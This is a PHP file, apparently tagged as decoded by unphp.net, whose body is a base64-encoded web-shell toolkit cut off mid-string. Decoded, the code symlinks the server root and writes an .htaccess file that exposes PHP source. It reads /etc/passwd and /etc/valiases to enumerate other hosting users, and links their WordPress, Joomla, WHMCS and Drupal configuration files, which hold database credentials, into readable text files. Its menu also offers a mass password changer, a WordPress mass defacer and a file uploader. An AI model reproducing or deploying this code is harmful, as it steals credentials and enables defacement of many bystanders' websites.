/* Decoded by unphp.net */ " . base64_decode("DQo8U1RZTEU+DQp0ZXh0YXJlYXtiYWNrZ3JvdW5kLWNvbG9yOiMxMDU3MDA7Y29sb3I6bGltZTtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZTogMjBweDtmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCANCg0KIzAwMDAwMDt9DQppbnB1dHtGT05ULVdFSUdIVDpub3JtYWw7YmFja2dyb3VuZC1jb2xvcjogIzEwNTcwMDtmb250LXNpemU6IDE1cHg7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjogbGltZTsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiANCg0KMXB4IHNvbGlkICM2NjY2NjY7aGVpZ2h0OjIwfQ0KYm9keSANCmZvbnQtZmFtaWx5OiBUYWhvbWENCn0NCnRyIHsNCkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOw0KY29sb3I6ICNGRkY7DQp9DQp0ZCB7DQpCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsNCmNvbG9yOiAjRkZGOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDBweCBCbGFjazsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KY29sb3I6ICNGRkY7DQp9DQoudGQxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjMzMzMzMzOw0KZm9udDogN3B0IFZlcmRhbmE7DQpjb2xvcjogR3JlZW47DQp9DQoudHIxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjMzMzMzMzOw0KY29sb3I6ICNGRkY7DQp9DQp0YWJsZSB7DQpCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KY29sb3I6ICNGRkY7DQp9DQppbnB1dCB7DQpib3JkZXIJCQk6IGRhc2hlZCAxcHg7DQpib3JkZXItY29sb3IJCTogIzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogOHB0IFZlcmRhbmE7DQpjb2xvcjogUmVkOw0KfQ0Kc2VsZWN0IHsNCkJPUkRFUi1SSUdIVDogIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICNERjAwMDAgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgI0RGMDAwMCAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7DQpCT1JERVItY29sb3I6ICNGRkY7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6IFJlZDsNCn0NCnN1Ym1pdCB7DQpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0Kd2lkdGg6IDMwJTsNCmNvbG9yOiAjRkZGOw0KfQ0KdGV4dGFyZWEgew0KYm9yZGVyCQkJOiBkYXNoZWQgMXB4ICMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogIzk5OTsNCn0NCkJPRFkgew0KCVNDUk9MTEJBUi1GQUNFLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLUhJR0hMSUdIVC1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLVNIQURPVy1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLTNETElHSFQtY29sb3I6IA0KDQojRkZGOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItVFJBQ0stY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLWNvbG9yOiAjRkZGDQptYXJnaW46IDFweDsNCmNvbG9yOiBSZWQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCn0NCi5tYWluIHsNCm1hcmdpbgkJCTogLTI4N3B4IDBweCAwcHggLTQ5MHB4Ow0KQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQp9DQoudHQgew0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoNCkE6bGluayB7DQoJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6IFdoaXRlOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KPC9TVFlMRT4NCg0KPD9waHANCg0KDQoNCg0KIyMuaHRhY2Nlc3MNCkBta2RpcigncGVlJywwNzc3KTsNCkBzeW1saW5rKCIvIiwicGVlL3Jvb3QiKTsNCkBmb3BlbigndGVtcC50eHQnLCd3Jyk7DQokaHRhY2NzcyA9ICJPcHRpb25zIGFsbCANCiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCANCiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCANCiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCANCiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIA0KIEFkZEhhbmRsZXIgdHh0IC5odG1sIA0KIFJlcXVpcmUgTm9uZSANCiBTYXRpc2Z5IEFueSI7DQogDQpmaWxlX3B1dF9jb250ZW50cygicGVlLy5odGFjY2VzcyIsJGh0YWNjc3MpOw0KDQppZihpc19yZWFkYWJsZSgiL3Zhci9uYW1lZCIpKXsNCiRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOw0KJGN1cnJlbnRfZGlyID0gcG9zaXhfZ2V0Y3dkKCk7DQokZGlyID0gZXhwbG9kZSgiLyIsJGN1cnJlbnRfZGlyKTsNCmZvcmVhY2goJGxpc3QgYXMgJGRvbWFpbil7DQppZihzdHJwb3MoJGRvbWFpbiwiLmRiIikpDQp7DQoJJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOw0KCSRvd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW4pKTsNCgkNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KJGN1cnJlbnRfZGlyID0gcG9zaXhfZ2V0Y3dkKCk7DQokZGlyID0gZXhwbG9kZSgiLyIsJGN1cnJlbnRfZGlyKTsNCg0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvd3AtY29uZmlnLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV29yZFByZXNzLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvYmxvZy93cC1jb25maWcucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1Xb3JkUHJlc3MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy93cC93cC1jb25maWcucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1Xb3JkUHJlc3MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9zaXRlL3dwLWNvbmZpZy5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdvcmRQcmVzcy50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL2NvbmZpZy5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVBocEJCLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvaW5jbHVkZXMvY29uZmlnLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictdkJ1bGxldGluLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLUpvb21sYS50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL3dlYi9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictSm9vbWxhLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1Kb29tbGEudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1Kb29tbGEudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9jb25mX2dsb2JhbC5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLUlQQi50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL2luYy9jb25maWcucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1NeUJCLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvU2V0dGluZ3MucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1TTUYudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictRHJ1cGFsLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvZTEwN19jb25maWcucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1lMTA3LnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvZGF0YXMvY29uZmlnLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictU2VkaXRpby50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLW9zQ29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9zdXBwb3J0ZXMvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvZG9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygkb3duZXJbJ2RpciddLicvJy4kZGlyWzNdLicvd2htYy9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsInBlZS8iLiRvd25lclsnbmFtZSddLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCRvd25lclsnZGlyJ10uJy8nLiRkaXJbM10uJy9jbGllbnRhcmVhL2NvbmZpZ3VyYXRpb24ucGhwJywicGVlLyIuJG93bmVyWyduYW1lJ10uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJG93bmVyWydkaXInXS4nLycuJGRpclszXS4nL2RvbWFpbnMvY29uZmlndXJhdGlvbi5waHAnLCJwZWUvIi4kb3duZXJbJ25hbWUnXS4nLVdITUNTLnR4dCcpOw0KDQokbGluayA9ICRwYWdlVVJMLidwZWUvJy4kb3duZXJbJ25hbWUnXS4nLVdvcmRQcmVzcy50eHQnOw0KDQppZihjaGtfaGVhZGVyKCRsaW5rKSkNCgl7DQoJCSRzdHIgPSAnPHRyPjx0ZD4nLiRkb21haW4uJzwvdGQ+PHRkPicuJG93bmVyWyduYW1lJ10uJzwvdGQ+PHRkPi9Xb3JkUHJlc3M8L3RkPicuQ2hyKDEwKTsNCgkJZmlsZV9wdXRfY29udGVudHMoInRlbXAudHh0Iiwkc3RyLEZJTEVfQVBQRU5EKTsNCgl9DQoNCg0KDQoNCn0NCn0NCn0NCg0KJGV0YyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3Bhc3N3ZCIpOw0KJGV0Y3ogPSBleHBsb2RlKCJcbiIsJGV0Yyk7DQoNCmZvcmVhY2goJGV0Y3ogYXMgJGV0eil7DQokZXRjYyA9IGV4cGxvZGUoIjoiLCRldHopOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQokY3VycmVudF9kaXIgPSBwb3NpeF9nZXRjd2QoKTsNCiRkaXIgPSBleHBsb2RlKCIvIiwkY3VycmVudF9kaXIpOw0KDQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3dwLWNvbmZpZy5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvYmxvZy93cC1jb25maWcucGhwJywncGVlLycuJGV0Y2NbMF0uJy1Xb3JkUHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3dwL3dwLWNvbmZpZy5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvc2l0ZS93cC1jb25maWcucGhwJywncGVlLycuJGV0Y2NbMF0uJy1Xb3JkUHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NvbmZpZy5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVBocEJCLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9pbmNsdWRlcy9jb25maWcucGhwJywncGVlLycuJGV0Y2NbMF0uJy12QnVsbGV0aW4udHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1Kb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3dlYi9jb25maWd1cmF0aW9uLnBocCcsJ3BlZS8nLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCdwZWUvJy4kZXRjY1swXS4nLUpvb21sYS50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJ3BlZS8nLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9jb25mX2dsb2JhbC5waHAnLCdwZWUvJy4kZXRjY1swXS4nLUlQQi50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaW5jL2NvbmZpZy5waHAnLCdwZWUvJy4kZXRjY1swXS4nLU15QkIudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL1NldHRpbmdzLnBocCcsJ3BlZS8nLiRldGNjWzBdLictU01GLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJ3BlZS8nLiRldGNjWzBdLictRHJ1cGFsLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9lMTA3X2NvbmZpZy5waHAnLCdwZWUvJy4kZXRjY1swXS4nLWUxMDcudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2RhdGFzL2NvbmZpZy5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVNlZGl0aW8udHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCdwZWUvJy4kZXRjY1swXS4nLW9zQ29tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJ3BlZS8nLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJ3BlZS8nLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3N1cHBvcnRlcy9jb25maWd1cmF0aW9uLnBocCcsJ3BlZS8nLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvZG9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsJ3BlZS8nLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCdwZWUvJy4kZXRjY1swXS4nLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9jbGllbnRhcmVhL2NvbmZpZ3VyYXRpb24ucGhwJywncGVlLycuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsNCnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvZG9tYWlucy9jb25maWd1cmF0aW9uLnBocCcsJ3BlZS8nLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7DQppZihjaGtfaGVhZGVyKCRsaW5rKSkNCgl7DQoJCSRzdHIgPSAnPHRyPjx0ZD48L3RkPjx0ZD4nLiRldGNjWzBdLic8L3RkPjx0ZD4vV29yZFByZXNzPC90ZD4nLkNocigxMCk7DQoJCWZpbGVfcHV0X2NvbnRlbnRzKCJ0ZW1wLnR4dCIsJHN0cixGSUxFX0FQUEVORCk7DQoJfQ0KfQ0KDQoNCg0KDQpmdW5jdGlvbiBjaGtfaGVhZGVyKCRsaW5rKXsNCiRwZWUgPSBnZXRfaGVhZGVycygkbGluaywxKTsNCmlmKHN0cnBvcygkcGVlWzBdLCIyMDAiKSl7DQpyZXR1cm4gdHJ1ZTsNCn1lbHNleyByZXR1cm4gZmFsc2U7IH0NCn0NCg0KZnVuY3Rpb24gRmluZCgkc3RyLCRzdGFydCwkZW5kKXsNCiRsZW4gPSBzdHJsZW4oJHN0cik7DQokc3RhcnRfcG9zID0gKHN0cnBvcygkc3RyLCRzdGFydCkgKyBzdHJsZW4oJHN0YXJ0KSk7DQokc3RyID0gc3Vic3RyKCRzdHIsJHN0YXJ0X3Bvcyk7DQokZW5kX3BvcyA9IHN0cnBvcygkc3RyLCRlbmQpOw0KJHN0ciA9IHN1YnN0cigkc3RyLDAsJGVuZF9wb3MpOw0KcmV0dXJuICRzdHI7ICAgIA0KfQ0KDQokcGFnZVVSTCA9ICdodHRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VVUkwgKTsNCiRwYWdlVVJMID1zdHJfcmVwbGFjZSgkdVtjb3VudCgkdSktMV0sIiIsJHBhZ2VVUkwgKTsNCg0KDQojIyMjIyMjDQpmdW5jdGlvbiBjbXNfYWRkKCRsaW5rLCRkb21haW4sJG93bmVyLCRjbXMpDQp7DQoJDQoJJGxpbmsgPSAkbGluay4nLScuJGNtcy4nLnR4dCc7DQoJaWYoY2hrX2hlYWRlcigkbGluaykpDQoJew0KCQkkdXJsID0gJ2h0dHA6Ly8nLiRkb21haW47DQoJCSRzdHIgPSAnPHRyPjx0ZD4gPGEgaHJlZj0nLiR1cmwuJz4nLiRkb21haW4uJzwvYT48L3RkPjx0ZD4nLiRvd25lci4nPC90ZD48dGQ+PGEgDQoNCmhyZWY9Jy4kbGluay4nPicuJGNtcy4nPC90ZD4nLkNocigxMCk7DQoJCWZpbGVfcHV0X2NvbnRlbnRzKCJwZWUudG1wIiwkc3RyLEZJTEVfQVBQRU5EKTsNCgkJZWNobyAkc3RyOw0KCQkNCgl9DQp9DQoNCmZ1bmN0aW9uIEN1cmxQYWdlKCR1cmwsJHBvc3QgPSBudWxsLCRoZWFkID0gdHJ1ZSkgew0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsICRoZWFkKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICJDT09LSUUudHh0Iik7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsNCg0KSWYgKCRwb3N0ICE9IE5VTEwpew0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0KTsNCn0NCiR1cmxQYWdlID0gY3VybF9leGVjKCRjaCk7DQoNCmlmKGN1cmxfZXJybm8oJGNoKSl7DQplY2hvIGN1cmxfZXJyb3IoJGNoKTsNCn0NCg0KY3VybF9jbG9zZSgkY2gpOw0KcmV0dXJuKCR1cmxQYWdlKTsNCn0NCg0KDQoNCmZ1bmN0aW9uIGxpc3RhbGwoJGZpbGUsJHN0cil7DQppZihmaWxlX2V4aXN0cygkZmlsZSkpew0KJGRvID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOw0KaWYoIXN0cnBvcygkZG8sJHN0cikpew0KZmlsZV9wdXRfY29udGVudHMoJGZpbGUsJHN0cixGSUxFX0FQUEVORCk7DQp9DQp9ZWxzZXsNCmZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRzdHIsRklMRV9BUFBFTkQpOw0KfQ0KfQ0KDQoNCg0KZWNobyAiPGNlbnRlcj4NCg0KPGltZyBzcmM9J2h0dHA6Ly9zcGhvdG9zLWYuYWsuZmJjZG4ubmV0L2hwaG90b3MtYWstcHJuMS82NTE3Nl8xMTUxMzExNzUzMjA1NDhfODYzMTY1ODA0X24uanBnJz48YnI+DQpbIDxhIGhyZWY9Jz9kbz1jbXNfZGV0ZWN0Jz4uL0NtcyBCdWx1Y3V+PC9hPiBdIC0tIFsgPGEgaHJlZj0nP2RvPXBhc3NfY2hhbmdlJz4uL01hc3NQQVNTQ2hhbmdlfjwvYT4gXSAtLSBbIDxhIA0KDQpocmVmPSc/ZG89d3BfZGVmJz4uL1dwIE1hc3MgRGVmYWNlcjwvYT4gXSAtLSBbIDxhIGhyZWY9Jz9kbz11cGxvYWRlcic+Li9Eb3N5YSBZw7xrbGU8L2E+IF0gPGJyPjxicj48YnI+PC9jZW50ZXI+ICI7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFsnZG8nXSkpeyANCnN3aXRjaCAoJF9SRVFVRVNUWydkbyddKXsNCg0KIyMjIyMjIyMjIyMjIyMjI0NNUyBERVRFQ1RPUg0KY2FzZSAnY21zX2RldGVjdCc6DQoNCmlmKCFmaWxlX2V4aXN0cygncGVlLnRtcCcpKXsNCkBmb3BlbigncGVlLnRtcCcsICd3Jyk7DQoNCmVjaG8nPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjQ1JSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSI0IiBjbGFzcz0idGQxIj4nOw0KZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PC9jZW50